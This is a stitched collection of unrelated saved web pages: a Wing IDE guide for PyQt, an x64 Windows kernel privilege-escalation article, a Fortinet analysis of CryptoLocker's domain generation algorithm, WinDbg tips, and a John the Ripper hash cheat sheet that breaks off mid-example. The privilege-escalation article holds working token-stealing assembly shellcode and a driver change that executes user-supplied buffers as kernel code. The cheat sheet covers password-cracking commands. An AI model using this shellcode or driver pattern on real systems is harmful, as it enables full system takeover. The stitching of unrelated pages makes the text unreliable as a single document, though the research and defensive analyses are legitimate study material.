For more information on Wing IDE see the product overview. If you do not
already have Wing IDE installed, download a free trial now.

To get started using Wing, refer to the tutorial in the `Help` menu in Wing
and/or the Wing IDE Quickstart Guide.

## Introduction

PyQt is a commercial GUI development environment that runs with native look
and feel on Windows, Linux/Unix, Mac OS, and the Sharp Zaurus. Commercial
licensing is per developer, with no cost for each deployed product. It is also
available for free for non-commercial users under the GPL license.

While Wing IDE does not currently provide a GUI builder for PyQt, it does
provide the most advanced capabilities available for the Python programming
language and it can be used with other available GUI builders, as described
below.

## Installation and Configuration

Take the following steps to set up and configure Wing IDE for use with PyQt:

  * Install Python and Wing. Check the PyQt download page to make sure you install a version of Python that will work with the version of PyQt that you use. For example, PyQt 3.5 worked with any version of Python between 1.5.2 and 2.2.x. The generic Wing IDE Quickstart Guide provides installation instructions for Wing.
  * Install Qt from Trolltech. You will either need to purchase a developer's licence or download the non-commercial package.
  * Install PyQt from the Riverbank PyQt download area.
  * Start Wing from the Start menu on Windows, the Finder or OS X, or by typing `wing3.2` on the command line on Linux other Posix systems. Once Wing has started, you may want to switch to reading this How-To from the `Help` menu. This will add links to the functionality of the application.
  * Select Show Analysis Stats from the Source menu and if the Python version reported there doesn't match the one you're using with PyQt, then select Project Properties from the Project menu and use the Python Executable field to select the correct Python version.
  * Open `examples/tools/qtdemo/qtdemo.py` into Wing IDE \(located within your Python installation\) and select `Add Current File` from the `Project` menu.
  * Set `qtdemo.py` as main entry point for debugging with `Set Main Debug File` in the `Debug` menu.
  * Save your project to disk. Use a name ending in `.wpr`.

## Test Driving the Debugger

Now you're ready to try out the debugger. To do this:

  * Start debugging with the `Start / Continue` item in the `Debug` menu. Uncheck the `Show this dialog before each run` checkbox at the bottom of the dialog that appears and select `OK`.
  * The demo application will start up. If its main window doesn't come to front, bring it to front from your task bar or window manager.
  * Next open the source for one of the demos in Wing IDE and set a breakpoint in code that will be reached when you work with that demo. Exercise the demo so that the breakpoint is reached.
  * Use the `Stack Data` tool in the `Tools` menu to look around the stack and the locals and globals for the selected stack frame.
  * Select `Debug Probe` \(Wing Pro only\) from the `Tools` menu. This is an interactive command prompt that lets you type expressions or even change values in the context of the stack frame that is selected on the Debugger window when your program is paused or stopped at an exception. It is a very powerful debugging tool.

Also take a look at these tools available from the Tools menu:

  * `I/O` \-- displays debug process output and processes keyboard input to the debug process, if any
  * `Exceptions` \-- displays exceptions that occur in the debug process
  * `Modules` \(Wing Pro only\) -- browses data for all modules in `sys.modules`
  * `Watch` \(Wing Pro only\) -- watches values selected from other value views \(by right-clicking and selecting one of the `Watch` items\) and allows entering expressions to evaluate in the current stack frame

As you try out the various demos for PyQt, you may sometimes see Wing IDE
pause and report exceptions in the debugger's `Exceptions` tool. There are a
few bugs in some versions of PyQt's demos, so Wing will catch those when the
occur.

## Test Driving the Source Browser

Don't forget to check out Wing's powerful source browser:

  * Add package `Lib/site-packages` or `site-packages` \(inside your Python installation\) to your project with the `Add Diretory` item in the `Project` menu. Also add directory tree `PyQt` \(also inside your Python installation\) to your project file with the `Add Directory` item in the `Project` menu.
  * Next bring up the `Source Browser` from the `Tools` menu. You can select the view style at the top of the window, to browse by modules, by classes, or only the current file. The `Options` menu on the right will filter what types of symbols are being displayed in the browser.
  * Double clicking on the browser will show the corresponding source code in the source editor area. Note that files are automatically closed when you browse elsewhere unless they were already open, edits are made, or you click on the stick pin icon in the upper right of the editor area to specify that the editor should remain open until closed explicitly.
  * Use the right-click menu on the Source Browser to zoom to base classes. In general, right-clicking will bring up menus specific to the tool being clicked on.
  * Related to the Source Browser is the auto-completion capability in Wing's source editor. Try typing in one of the PyQt source files and you will see the auto-completer appear. Tab completes the currently selected item, but you can set the Completion Keys preference to also complete when the Enter key is pressed. See the Wing IDE Quickstart Guide for information on this and other commonly used preferences.
  * See also the `Source Assistant` tool in the `Tools` menu. This provides additional information about source constructs in the active source editor as the insertion cursor or selection is moved around. Note that this tool is also integrated with the source browser, and with the auto-completer in the editor, Python Shell, and Debug Probe \(in Wing Pro\).

## Using a GUI Builder

Wing IDE doesn't currently include a GUI builder for PyQt but it can be used
with other tools, such as Black Adder, which does provide a GUI builder but
doesn't have all of the features of Wing. Another GUI builder for PyQt is Qt
Designer, which outputs language-independent UI files that can be converted
into Python using PyQt's `pyuic` utility.<P>

To use an external GUI builder, configure Wing to automatically reload files
that are altered by the GUI builder. This is done in Preferences in the
`Files` `Reloading` area.

Then you can run Wing IDE and your GUI builder at the same time, working with
both in an almost seamless manner.

**A Caveat** : Because Python lends itself so well to writing data-driven
code, you may want to reconsider using a GUI builder for some tasks. In many
cases, Python's introspection features make it possible to write generic GUI
code that you can use to build user interfaces on the fly based on models of
your data and your application. This can be much more efficient than using a
GUI builder to craft individual menus and dialogs by hand. In general hand-
coded GUIs also tend to be more maintainable, and the Qt widget set was
designed specifically to make hand-coding easy.

## Tips for Keeping the Debug Process Responsive

Because of bugs in some versions of PyQt, there is no code inside the debugger
to ensure that PyQt debug processes remains responsive to the debugger while
free-running. This means that you may not always be able to Pause PyQt debug
processes, and the debugger may time out if you try to add breakpoints or
execute certain other debugger operations while the GUI application is free-
running and no Python code is being reached.

This problem occurs only when no Python code is reached at all, so it is easy
to work around with the following after your `QApplication` has been created
and before you call `exec_loop()`:

[code]

    # Hack to burn some Python bytecode periodically so Wing's
    # debugger can remain responsive while free-running
    import os
    if os.environ.has_key('WINGDB_ACTIVE'):
        timer = QtCore.QTimer()
        def donothing(*args):
            x = 0
            for i in range(0, 100):
                x += i
        timer.connect(timer, QtCore.SIGNAL("timeout()"), donothing)
        timer.start(200)
    
    
[/code]

## Related Documents

Wing IDE provides many other options and tools. For more information:

  * Wing IDE Reference Manual, which describes Wing IDE in detail.
  * PyQt home page, which provides links to documentation.
  * Wing IDE Quickstart Guide which contains additional basic information about getting started with Wing IDE.

**«** 5.1. Using Wing IDE with PyGTK | Table of Contents| 5.3. Using Wing IDE with matplotlib **»**  
---|---|---  
* * *
### Navigation

  * About Python
  * Wing IDE
  * Buy
  * Download
  * Support
  * News

Search

  * Contact
  * Site Map
  * Terms & Conditions

© 1999-2009 Wingware

**Wingware** P.O. Box 400527CambridgeMA02140-0006United States of America

# x64 Kernel Privilege Escalation | McDermott Cybersecurity
**Created:**| _7/15/2011 2:52:54 PM_  
---|---  
**Updated:**| _7/15/2011 2:52:54 PM_  
**Author:**| __  
**Tags:**| _attacks Debugging windows kernel x64_  
  

# x64 Kernel Privilege Escalation

March 7, 2011

_Caution: Mucking around in the kernel like this carries a high risk of
causing the Blue Screen of Death \(BSOD\) and possible data loss. Testing in a
virtual machine or other non-production system is highly recommended._

### Introduction

The user account and access privileges associated with a running Windows
process are determined by a kernel object called a _token_. The kernel data
structures that keep track of various process-specific data contain a pointer
to the process’s token. When the process attempts to perform various actions,
such as opening a file, the account rights and privileges in the token are
compared to the privileges required, to determine if access should be granted
or denied.

Because the token pointer is simply data in kernel memory, it is a trivial
matter for code executing in kernel mode to change it to point to a different
token and therefore grant the process a different set of privileges. This
underscores the importance of securing the system against vulnerabilities that
can be exploited by local users to execute code in the kernel.

This article will provide an explanation and sample exploit code for elevating
a process to Administrator-level privileges. Modified versions of the device
driver and test program from my device driver development article will be used
as a means of injecting executable code into the kernel.

### Details

For a walk-through we will start up a command prompt \(cmd.exe\) with standard
user privileges, and then use the kernel debugger to manually locate the token
of the highly privileged **System** process and give the running cmd.exe
process System-level privileges.

First, find the hexadecimal address of the System process:

[code]

    kd> !process 0 0 System
    PROCESS **fffffa8003cf11d0**
        SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
        DirBase: 00187000  ObjectTable: fffff8a0000018b0  HandleCount: 687.
        Image: System
[/code]

This points to an \_EPROCESS structure with many fields which we can dump as
follows:

[code]

    kd> dt _EPROCESS fffffa8003cf11d0
    nt!_EPROCESS
       +0x000 Pcb              : _KPROCESS
       +0x160 ProcessLock      : _EX_PUSH_LOCK
       +0x168 CreateTime       : _LARGE_INTEGER 0x1cbdcf1`54a2bf4a
       +0x170 ExitTime         : _LARGE_INTEGER 0x0
       +0x178 RundownProtect   : _EX_RUNDOWN_REF
       +0x180 UniqueProcessId  : 0x00000000`00000004 Void
       +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`05b3c828 - 0xfffff800`02e71b30 ]
       +0x198 ProcessQuotaUsage : [2] 0
       +0x1a8 ProcessQuotaPeak : [2] 0
       +0x1b8 CommitCharge     : 0x1e
       +0x1c0 QuotaBlock       : 0xfffff800`02e50a80 _EPROCESS_QUOTA_BLOCK
       +0x1c8 CpuQuotaBlock    : (null)
       +0x1d0 PeakVirtualSize  : 0xf70000
       +0x1d8 VirtualSize      : 0x870000
       +0x1e0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x0 ]
       +0x1f0 DebugPort        : (null)
       +0x1f8 ExceptionPortData : (null)
       +0x1f8 ExceptionPortValue : 0
       +0x1f8 ExceptionPortState : 0y000
       +0x200 ObjectTable      : 0xfffff8a0`000018b0 _HANDLE_TABLE
       **+0x208 Token            : _EX_FAST_REF**
       +0x210 WorkingSetPage   : 0
       [...]
[/code]

The token is a pointer-sized value located at offset **0×208** and we can dump
the value as follows:

[code]

    kd> dq fffffa8003cf11d0+208 L1
    fffffa80`03cf13d8  **fffff8a0`00004c5c**
[/code]

You may have noticed in the \_EPROCESS structure that the Token field is
declared as an \_EX\_FAST\_REF, rather than the expected \_TOKEN structure.
The \_EX\_FAST\_REF structure is a trick that relies on the assumption that
kernel data structures are required to be aligned in memory on a 16-byte
boundary. This means that a pointer to a token or any other kernel object will
always have the last 4 bits set to zero \(in hex the last digit will always be
zero\). Windows therefore feels free to use the low 4 bits of the pointer
value for something else \(in this case a reference count that can be used for
internal optimization purposes\).

[code]

    kd> dt _EX_FAST_REF
    nt!_EX_FAST_REF
       +0x000 Object           : Ptr64 Void
       +0x000 RefCnt           : Pos 0, 4 Bits
       +0x000 Value            : Uint8B
[/code]

To get the actual pointer from an \_EX\_FAST\_REF, simply change the last hex
digit to zero. To accomplish this programmatically, mask off the lowest 4 bits
of the value with a logical-AND operation.

[code]

    kd> ? fffff8a0`00004c5c & ffffffff`fffffff0
    Evaluate expression: -8108898235312 = **fffff8a0`00004c50**
[/code]

We can display the token with `dt _TOKEN` or get a nicer display with the
\!token extension command:

[code]

    kd> !token fffff8a0`00004c50
    _TOKEN fffff8a000004c50
    TS Session ID: 0
    User: **S-1-5-18**
    Groups:
     00 S-1-5-32-544
        Attributes - Default Enabled Owner
     01 S-1-1-0
        Attributes - Mandatory Default Enabled
     02 S-1-5-11
        Attributes - Mandatory Default Enabled
     03 S-1-16-16384
        Attributes - GroupIntegrity GroupIntegrityEnabled
    Primary Group: S-1-5-18
    Privs:
     02 0x000000002 SeCreateTokenPrivilege            Attributes -
     03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes -
     04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default
    [...]
[/code]

Note that the Security Identifier \(SID\) with value S-1-5-18 is the built-in
SID for the Local System account \(see the well-known SIDs reference from
Microsoft\).

The next step is to locate the \_EPROCESS structure for the cmd.exe process
and replace the Token pointer at offset 0×208 with the address of the System
token:

[code]

    kd> !process 0 0 cmd.exe
    PROCESS fffffa80068ea060
        SessionId: 1  Cid: 0d0c    Peb: 7fffffdf000  ParentCid: 094c
        DirBase: 1f512000  ObjectTable: fffff8a00b8b5a10  HandleCount:  18.
        Image: cmd.exe
    
    kd> eq fffffa80068ea060+208 fffff8a000004c50
[/code]

Finally, go to the command prompt and use the built-in `whoami` command to
display the user account. You can also confirm by running commands or
accessing files that you know should require Administrator privileges.

<img src='img/Temp2_10746.png' width='847' height='553' alt='command prompt'
/>

### Exploit Code

Implementing the above procedure in code is short and sweet, with only minor
differences for x64 as compared to the x86 privilege escalation codes that
have been around for years.

I disassembled the `nt!PsGetCurrentProcess` function to see how to get the
\_EPROCESS address of the current process. The \_EPROCESS structures of all
running processes on the system are linked together in a circular doubly-
linked list using the ActiveProcessLinks member. We can locate the **System**
process by following these links and looking for process ID 4.

[code]

    ;priv.asm
    ;grant SYSTEM account privileges to calling process
    
    [BITS 64]
    
    start:
    ;    db 0cch                 ;uncomment to debug
        mov rdx, [gs:188h]      ;get _ETHREAD pointer from KPCR
        mov r8, [rdx+70h]       ;_EPROCESS (see PsGetCurrentProcess function)
        mov r9, [r8+188h]       ;ActiveProcessLinks list head
    
        mov rcx, [r9]           ;follow link to first process in list
    find_system_proc:
        mov rdx, [rcx-8]        ;offset from ActiveProcessLinks to UniqueProcessId
        cmp rdx, 4              ;process with ID 4 is System process
        jz found_it
        mov rcx, [rcx]          ;follow _LIST_ENTRY Flink pointer
        cmp rcx, r9             ;see if back at list head
        jnz find_system_proc
        db 0cch                 ;(int 3) process #4 not found, should never happen
    
    found_it:
        mov rax, [rcx+80h]      ;offset from ActiveProcessLinks to Token
        and al, 0f0h            ;clear low 4 bits of _EX_FAST_REF structure
        mov [r8+208h], rax      ;replace current process token with system token
        ret
[/code]

I’m using the Netwide Assembler \(NASM\) in Cygwin to assemble the code
\(native win32 NASM binaries are also available\). Build with:

`nasm priv.asm`

This will generate a raw binary output file called **priv** \(with no file
extension\).

Note that NASM generates the two-byte opcode **0xCD 0×03** for the **int 3**
instruction rather than the standard one-byte **0xCC** debugger breakpoint.
This causes problems in the kernel debugger because it assumes that the next
instruction is only one byte ahead in memory, not two bytes. This can be
worked around if necessary by manually adjusting the RIP register by one byte
after the breakpoint hits, but it’s better to just generate the correct opcode
in the first place with **db 0cch.**

### Testing

My device driver development article presents a sample device driver which
accepts a string from a user-mode process via a Device I/O Control interface,
and simply prints the string to the kernel debugger. To test the above exploit
code, I modified the driver to execute the passed-in data as code instead:

[code]

    void (*func)();
    
    //execute code in buffer
    func = (void(*)())buf;
    func();
[/code]

This of course requires that the memory page be marked executable, otherwise
Data Execution Prevention \(DEP\) would trigger an exception. I was actually
surprised that the buffer passed into an IOCTL interface \(using
METHOD\_DIRECT\) was executable by default. I’m not sure if this will always
be the case, and I believe it has to do with the use of large pages in kernel
memory on x64 systems, which make memory protections impractical \(memory can
only be set as non-executable at the granularity of the virtual memory page
size\).

I then modified the user-mode test program to use the following function to
read the data from the **priv** binary file rather than passing in a hard-
coded string:

[code]

    //allocates buffer and reads entire file
    //returns NULL on error
    //stores length to bytes_read if non-NULL
    char *read_file_data(char *filename, int *bytes_read) {
        char *buf;
        int fd, len;
    
        fd = _open(filename, _O_RDONLY | _O_BINARY);
    
        if (-1 == fd) {
            perror("Error opening file");
            return NULL;
        }
    
        len = _filelength(fd);
    
        if (-1 == len) {
            perror("Error getting file size");
            return NULL;
        }
    
        buf = malloc(len);
    
        if (NULL == buf) {
            perror("Error allocating memory");
            return NULL;
        }    
    
        if (len != _read(fd, buf, len)) {
            perror("error reading from file");
            return NULL;
        }
    
        _close(fd);
    
        if (bytes_read != NULL) {
            *bytes_read = len;
        }
    
        return buf;
    }
[/code]

Finally, I also modified the test program to launch a command prompt in a
separate process after executing the exploit code via the driver:

[code]

    //launch command prompt (cmd.exe) as new process
    void run_cmd() {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));
        si.cb = sizeof(si);
    
        if (!CreateProcess(L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE,
                    CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
            debug("error spawning cmd.exe");
        } else {
            printf("launched cmd.exe with process id %d\n", pi.dwProcessId);
        }
    }
[/code]

The new command prompt process inherits the token of the test program process,
which has been elevated to the System token.

# Fortinet Blog | News and Threat Research A Closer Look at Cryptolocker's DGA
**Created:**| _1/16/2014 1:43:41 PM_  
---|---  
**Updated:**| _1/16/2014 1:43:41 PM_  
**Author:**| __  
**Tags:**| _crypto Malware-analysis_  
  

# **A** Closer Look at Cryptolocker's DGA****

_Sousan Yazdi, Junior Antivirus Analyst_  
_Margarette Joven, Antivirus Manager_  
Special Technical Contribution by _Liang Huang, Senior Antivirus Analyst_

**CryptoLocker** is the name of a ransomware trojan family that emerged late
last year**.** This malware is designed to target Microsoft Windows systems
and is renown for its ability to take its victim’s files hostage by fully
encrypting files on the victim’s computer**.** The victim of the malware then
is shown a message informing them that the only possible way to recover the
encrypted files is by paying a ransom: in most cases that ransom is around 300
USD, 300 Euro or the rough equivalent in the digital currency Bitcoin**.**
Victims are often informed that they have 72 hours to pay up in order to
obtain the necessary decryption key to get their files back; if they don’t
pay, they’re told the encryption key will be deleted and the files will be
irretrievable**.**

When this trojan is first executed on the victim’s computer, it creates a copy
of itself to the user’s Application Data folder using a randomized name, then
creates an autorun registry key to automatically execute that copy every time
the infected user logs on**.** It then attempts to connect to one of its
command-and-control \(C&C\) servers in order to generate an RSA-2048 key that
will be used to encrypt its target files**.**

Since this ransomware starts encrypting files only after a connection to its
C&C server is established, one way to help prevent its damaging payload from
occurring is by blocking the malware from communicating with those sites**.**
The challenge with this is that CryptoLocker uses what’s known as Domain
Generation Algorithm \(DGA\) to generate a list of potential C&C servers,
which it then attempts to connect to in the hopes that it finds one
online**.**

There are various aspects of CryptoLocker that can be analyzed and discussed;
however, in this blog post, we will focus solely on the details of the DGA
that it uses**.**

## The Domain Generation Algorithm****

The use of domain generation algorithms was introduced a few years ago for the
purpose of making it more difficult for security researchers and law
enforcement agencies to take down C&C servers that communicate with infected
computers**.** Instead of having a static list of domains that are hard-coded
within the malware body which often can easily be found and then entered into
blacklists, a DGA is used that can rapidly create thousands of candidate
domain names**.** The DGA used in CryptoLocker is relatively simple, but is
made complicated by a long series of loops and jumps that are designed to
confuse reverse engineers and malware analysts**.**

### The Overview****

To begin, CryptoLocker generates its psuedo-random key, then calls its DGA
from within a loop that is capable of creating 0x3E8 \(1000\) domain
names**.** Once the domain name is generated, it calls InternetConnect using
the generated name as a parameter**.** If the connection is successful, it
jumps out of the loop**.** If not, it continues with the next iteration after
a time lapse of 1000 milliseconds**.** The key that is passed to the DGA is
incremented for each iteration**.**

<img src='img/Temp2_3272.jpg' alt='Cryptolocker DGA Figure 1' />

_Figure 1**.** Loop that calls the DGA, using the generated key as a
parameter**.**_

### Building The Key****

As shown in the screenshot above, the key is needed before calling the
DGA**.** The process of building this key comes in four stages**.**

### Stage 1: The Initial Seed****

Like many other random generators, CryptoLocker’s DGA requires seed and key
values**.** The key that is to be used for each iteration in the loop is
generated from an initial seed, which is taken from either of two APIs:
QueryPerformanceCounter and GetTickCount**.** CryptoLocker calls
QueryPerformanceCounter first, and the value retrieved is saved as the seed,
if successful**.** If not, it calls GetTickCount. This API’s return value,
which is the number of milliseconds that have elapsed since the system was
started, is then saved as the seed**.** This initial seed is stored into the
register ECX.

<img src='img/Temp2_3264.jpg' alt='Cryptolocker DGA Figure 2' />

_Figure 2**.** Getting the initial seed._

Using this initial seed value, an array of seeds is created**.**

### Stage 2: Generating The Array Of Seeds****

This array of seeds has a constant size, which is 0x270 \(670\) DWORDS**.**
The initial seed value is stored at the beginning of the array, which we will
call Address\_Start\_Array**.** A combination of SHR, XOR, IMUL, and ADD
operations are then applied in order to get the next seed value that is to be
stored in the array**.** The loop exits once it has computed 0x270 DWORDS,
which would be at an address that we will call Address\_End\_Array**.**

_Figure 3_ below shows the disassembled codes that build this array**.**

<img src='img/Temp2_3267.jpg' alt='Cryptolocker DGA Figure 3' />

_Figure 3**.** Disassembled codes that build the array of seeds._

_Figure 4_ shows the equivalent pseudo-code**.**

<img src='img/Temp2_3269.jpg' alt='Cryptolocker DGA Figure 4' />

_Figure 4**.** Pseudo-code that build the array of seeds**.**_

To generate the KEY value that will be used in the DGA, the values in this
array of seeds are then accessed by another function, which we will discuss
next**.**

### Stage 3: Processing The Array of Seeds****

Processing of the array begins with the first element up to index 0xE3, which
is the 227th DWORD element in the array**.** A combination of ADD, XOR, AND,
and SHR operations are used in the computation algorithm, which is shown in
Figure 5**.**

<img src='img/Temp2_3273.jpg' alt='Cryptolocker DGA Figure 5' />

_Figure 5**.** Pseudo-code that processes the array of seeds._

The operand \(Const\_1 + \(\(Temp\_a & 1\)\* 4\)\) shown in Figure 5 above
always calculates to either of the two constant values:

  * \[Const\_1\] = 0
  * \[Const\_1 + 4\] = 0x9908B0DF

Also shown in _Figure 5_ is the operand \[\(Address\_Start\_Array + 0x630\) +
\(index\*4\)\]**.** This refers to the DWORD starting at index 0x18C of the
array until the last array element**.**

There are more computations done to the rest of the array from element 0xE3,
which are used in other portions of the malware**.** However, since this blog
post is focusing on the DGA, we will skip those computations and go directly
to the code that computes for the KEY**.**

### Stage 4: Computing the DWORD value****

In this last stage, the following set of calculations is applied to the second
element of the array**.**

<img src='img/Temp2_3266.jpg' alt='Cryptolocker DGA Figure 6' />

_Figure 6**.** Pseudo-code for computing the KEY._

The value obtained here is the KEY that is passed to the DGA algorithm, as
seen in _Figure 1_ above**.**

## Generating Domain Names****

The DGA in CryptoLocker uses four values: the KEY, the current day, the
current month, and the current year**.** The first value, the KEY, has been
obtained from the calculations discussed above; the last three values are
retrieved from a call to the GetSystemTime API**.**

All four values go through a series of mathematical operations, the results of
which are then passed to the loop that creates the domain name**.**

### The Key****

Using a combination of MUL, SHR, IMUL, and ADD operations, the KEY value is
modified, which we will call NewKey**.** _Figure 7_ shows the algorithm for
this calculation**.**

<img src='img/Temp2_3271.jpg' alt='Cryptolocker DGA Figure 7' />

_Figure 7**.** Calculation for NewKey._

### The Current Day****

Calculations are also done on the value for the current day, which involve
just the SHL and XOR operations**.** We will call the result DayKey.

<img src='img/Temp2_3265.jpg' alt='Cryptolocker DGA Figure 8' />

_Figure 8**.** Calculation for DayKey._

### The Current Month****

The current month is also modified using the SHL and XOR operations**.**
Similarly, we call the new value MonthKey.

<img src='img/Temp2_3270.jpg' alt='Cryptolocker DGA Figure 9' />

_Figure 9**.** Calculation for MonthKey._

### The Current Year****

Last, but not least, the current year is also modified**.** In this
calculation, the operations involved are ADD, SHL, and XOR**.** We call the
resulting value YearKey.

<img src='img/Temp2_3263.jpg' alt='Cryptolocker DGA Figure 10' />

_Figure 10**.** Calculation for YearKey._

### The String Length****

The length of the string for each server name is determined through the
following computations:

<img src='img/Temp2_3274.jpg' alt='Cryptolocker DGA Figure 11' />

_Figure 11**.** Determining the length of the server name._

### Generating the Name****

The parameters calculated above are then used in the loop below, which
generates the letters that form the server name**.**

<img src='img/Temp2_3275.jpg' alt='Cryptolocker DGA Figure 12' />

_Figure 12**.** Generating the letters that form the server name**.**_

### Getting the TLD****

The top-level domain \(TLD\) that is to be added to the server name is chosen
from a list of seven strings**.** From _Figure 1_ , we can recall that the DGA
is called within a loop**.** For each iteration in this loop, CryptoLocker
goes through the list of TLDs in the same order**.** However, which string
comes first in the order is based on the NewKey value that was obtained from
the calculation in _Figure 7_**.**

The TLD strings are in Unicode format and are stored in the malware body in
encrypted form**.** Once CryptoLocker has determined which string to start
with, it begins building its TLD list by decrypting the strings using simple
ADD and XOR operations**.**

<img src='img/Temp2_3276.jpg' alt='Cryptolocker DGA Figure 13' />

_Figure 13**.** Building the TLD list**.**_

Below are the strings used for the TLD, as well as the order that CryptoLocker
follows:

<img src='img/Temp2_3268.jpg' alt='Cryptolocker DGA Figure 14' />

_Figure 14**.** List of TLDs**.**_

Since the decrypted TLD string is in wide character format, it is first passed
to the WideCharToMultiByte API in order to convert the string to multibyte
form**.** The server name that had been generated is then concatenated with a
”**.** ” character, followed by the converted TLD string. This completed
domain name is then ready to be passed to the InternetConnect API to test if
the server is active, as seen in _Figure 1_**.**

Some examples of the domain names generated by CryptoLocker are as follows:

[code]

    	sljjjupfgagolpg**.** ru
    	uftfesnodnjflwta.info
    	vxagtvsyqxtrfcm.com
    	wxphewjnfhlyyjj.net
    	xckjffnjivafxen.biz
[/code]

## Wrapping Up****

CryptoLocker has made waves as being one of the most damaging malware last
year**.** Since this malware has been known to spread through emails, always
be cautious when opening email attachments or clicking on links**.** Keep your
antivirus software updated and your systems patched**.** And last, but not
least, regularly backup your data to an offline source \(like a removable hard
drive\) for easier restoration of files**.**

****

# Archive of the Debug Ninja’s Twitter debug tips - Ntdebugging Blog - Site
Home - MSDN Blogs

**Created:**| _1/7/2011 3:50:45 PM_  
---|---  
**Updated:**| _1/7/2011 3:51:10 PM_  
**Author:**| __  
**Tags:**| _bookmark windbg_  
  

### Archive of the Debug Ninja’s Twitter debug tips

  

Every Wednesday I post a debug tip to our twitter page at
www.twitter.com/ntdebugging. This blog is an archive of these tips to allow
our readers to find this information easily. We will update this blog every
few weeks with the new tips; follow us on twitter if you want to see the tips
as I post them.

The goal of these tips is to share debug commands, and forms of commands
\(parameters, flags, etc\) that my colleagues and I find useful. I hope you
can add these commands to your toolkit and they will help you debug more
efficiently.

**Tips**

\!thread/\!process \[address\] e - on x64 will not show you the meaningless
Args to Child information.

.frame /c \[FrameNumber\] - sets context to specified stack frame. Provides
more reliable information than .trap on x64.

kn - Dumps call stack with frame numbers, easier than counting stacks for
.frame.

.frame /r \[FrameNumber\] - same as .frame /c, but shows registers without
changing context.

Note: With .frame /c or /r you can only trust the nonvolatile registers. See
http://msdn.microsoft.com/en-us/library/9z1stfyw\(VS.80\).aspx for vol/nonvol
regs.

k=rbp rip FrameCount - Dumps call stack starting at rbp/rip on x64. Useful
when the stack is corrupt. \#debug ^DN

.process/.thread /p /r \[address\] - sets new process context, sets .cache
forcedecodeuser, and reloads user symbols. \#debug ^DebugNinja

\!process \[address\] 17 - Sets the context for this command, avoids the need
for .process to see user stacks. Try \!process 0 17 \#debug ^DN

~~\[ThreadID\]s - Changes threads in user mode. Use Thread ID number from
output such as \!locks. Ex: ~~\[1bd4\]s \#debug ^DN

runas /netonly /u:<account> windbg.exe - Launch windbg with domain account.
Use when dbg computer isn't in domain and symbol server is. ^DN

\!heap -p -a <address> \- Shows information about the heap block containing
<address>, even if you aren't using pageheap. \#debug ^DN

ub - Unassembles starting at a location prior to your address. Accepts
l<number> to specify how many instructions to go back. ub . l20 ^DN

\!stacks 2 \[FilterString\] - Finds kernel mode call stacks that contain the
FilterString in a symbol. \#debug ^DN

\!thread \[address\] 17 \(or 1e on x64\) - Sets context for this command,
avoids the need for .thread/.process for user stacks. \#debug ^DN

.hh \[Text\] - Opens the debugger help. \[Text\] is the topic to lookup in the
index. Example: .hh \!pte \#debug ^DN

?? can dump structs using C++ style expressions. Ex:
??\(\(nt\!\_KTHREAD\*\)\(0xfffffa800ea43bb0\)\)->ApcState \#debug ^DN

bp /t EThread - Sets a kernel mode breakpoint that only triggers when hit in
the context of this thread. \#debug ^DN

bp /p EProcess - Sets a kernel mode breakpoint that only triggers when hit in
the context of this process. \#debug ^DN

gc - If you run 'p' and hit a breakpoint, gc takes you where p would have gone
if you had not hit the bp. \#debug ^DN

gu - Go until the current function returns. Effectively this unwinds one stack
frame. \#debug \#windbg ^DN

pc - Steps through until the next 'call' instruction. Combine with other
commands to find who returned your error> pc;p;r eax \#debug ^DN

pt - Steps through until the next 'ret' instruction. Similar to gu, but pt
stops on the ret and gu stops after the ret. \#debug ^DN

.ignore\_missing\_pages 1 - supresses the error: "Page 2a49 not present in the
dump file. Type ".hh dbgerr004" for details" \#debug ^DN

.exr -1 shows the most recent exception. Useful in user dumps of crashes,
especially for no execute crashes \(NX/DEP\). \#debug ^DN

wt - Trace calls until they return to the current address. More useful with
-or to get return values. Use -l for depth. ^DN \#debug

.thread /w - Changes to the WOW64 32-bit context from 64-bit kernel mode.
Wow64exts doesn't work in kernel mode. \#debug ^DN

??sizeof\(structure\) - Gets the size of a structure, it's easier than
counting. \#debug ^DN

sxe ld:module.dll - Enables an exception which will break into the debugger
when module.dll is loaded. \#debug ^DN

# John The Ripper Hash Formats | pentestmonkey
**Created:**| _12/22/2011 10:35:45 AM_  
---|---  
**Updated:**| _12/22/2011 10:35:45 AM_  
**Author:**| __  
**Tags:**| _cheat sheets crackers security tools hash_  
  

# John The Ripper Hash Formats

John the Ripper is a favourite password cracking tool of many pentesters.
There is plenty of documentation about its command line options.

I’ve encountered the following problems using John the Ripper. These are not
problems with the tool itself, but inherent problems with pentesting and
password cracking in general.

  * Sometimes I stumble across hashes on a pentest, but don’t recognise the format, don’t know if it’s supported by john, or whether there are multiple “–format” options I should try.
  * The hashes you collect on a pentest sometimes need munging into a different format… but what’s the format john is expecting?
  * John will occasionally recognise your hashes as the wrong type \(e.g. “Raw MD5″ as “LM DES”\). This is inevitable because some hashes look identical.
  * Sometimes I gain access to a system, but can’t recall how to recover the password hashes for that particular application / OS.

These problems can all be sorted with a bit of googling or grepping through
the john source code. I thought it might be helpful to compile a cheat sheet
to reduce the amount of time I spend grepping and googling.

In the first release of this page I’ve:

  * Copied example hashes out of the source code for most supported hash types.
  * Provided examples of what your hashes.txt file might look like \(though I’m sure other variations are supported that aren’t covered here yet\).
  * For each example hash I’ve stated whether it will be automatically recognised by john, or whether you’ll have to use the “–format” option \(in which case I’ve included which –format option you need\)

I haven’t yet done the following:

  * Added reminders on how hashes can be collected.
  * Added information on how to munge the hashes into a format supported by john.

This sheet was originally based on john-1.7.8-jumbo-5. Changes in supported
hashes or hash formats since then may not be reflected on this page.

## afs – Kerberos AFS DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $K4$a8dc8aeaa2c48a97,
    $ john hashes.txt
    $ john --format=afs hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$K4$a8dc8aeaa2c48a97,
    $ john hashes.txt
    $ john --format=afs hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$K4$a8dc8aeaa2c48a97,:::::::
    $ john hashes.txt
    $ john --format=afs hashes.txt
[/code]

## bfegg – Eggdrop

### Supported Hash Formats

[code]

